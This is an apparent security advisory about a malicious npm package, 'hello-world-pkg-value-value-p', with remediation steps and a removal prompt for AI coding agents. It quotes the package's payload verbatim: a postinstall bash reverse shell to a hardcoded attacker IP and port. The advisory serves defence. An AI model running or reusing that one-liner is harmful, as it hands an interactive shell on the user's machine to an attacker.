# MAL-2026-3714: Malicious code in hello-world-pkg-value-value-p (npm)


- **Type:** Malicious package
- **Package:** `hello-world-pkg-value-value-p` (npm)
- **Published:** 13 May 2026

## What is MAL-2026-3714?

MAL-2026-3714 is a malicious package in hello-world-pkg-value-value-p, published on 13 May 2026. 

### Official description

This package's postinstall hook executes `node index.js`, which runs `execSync('bash -i >& /dev/tcp/52.249.218.132/8080 0>&1')` — an interactive bash reverse shell to the hardcoded attacker IP 52.249.218.132 on TCP port 8080. Any developer or CI system that runs `npm install hello-world-pkg-value-value-p` hands an interactive shell (running as the installing user) to whoever controls that IP. The package metadata is a meaningless-name cover story ('minimal npm...') with no legitimate functionality; the sole effect of installation is to open a remote shell on the installer's host. This is unambiguous unauthenticated RCE against the installer with no legitimate use case.

The OpenSSF Package Analysis project identified 'hello-world-pkg-value-value-p' @ 1.0.11 (npm) as malicious.

It is considered malicious because:

- The package executes one or more commands associated with malicious behavior.

## What should I do about MAL-2026-3714?

Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.

## Fix prompt for AI coding agents

```text
MAL-2026-3714 is a malicious package: hello-world-pkg-value-value-p (npm). Every version was published to cause harm.

Task:
1. Search this repository's dependency manifests and lockfiles for the package, including transitive dependencies.
2. If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.
3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.
4. If the package is not used anywhere, say so and change nothing.

Reference: https://insights.sbomify.com/MAL-2026-3714/ (Markdown: https://insights.sbomify.com/MAL-2026-3714/index.md)
```

## Sources

- OSV: https://osv.dev/vulnerability/MAL-2026-3714

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From sbomify Insights: https://insights.sbomify.com/MAL-2026-3714/
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